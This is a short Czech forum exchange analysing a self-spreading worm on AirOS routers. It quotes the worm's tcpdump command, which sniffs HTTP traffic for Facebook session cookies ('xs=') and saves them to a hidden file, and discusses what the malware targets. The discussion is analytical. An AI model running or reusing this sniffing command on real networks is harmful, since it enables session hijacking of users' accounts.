tcpdump -A -s 0 -w - -l "tcp dst port 80" | grep "^Cookie: " | grep "xs=" >/etc/persistent/.skynet/tt &
Jedna se o session cookie facebooku, ucelem byl nejspis fb spam/malware. Nutno poznamenat ze tcpdump se zdaleka nevyskytuje na vsech airos takze uspesnost neni uplne jista.
Muzete to nekdo rozvest? Jedna se urcite jenom o Facebook? Pocitam tedy, ze nejde o vykradani hesel, ale jenom o moznost zneuziti aktualne otevrene session? Jinak jsem v kodu uz nic dalsiho nevidel. Zbytek je jenom mechanizmus na samosireni se.
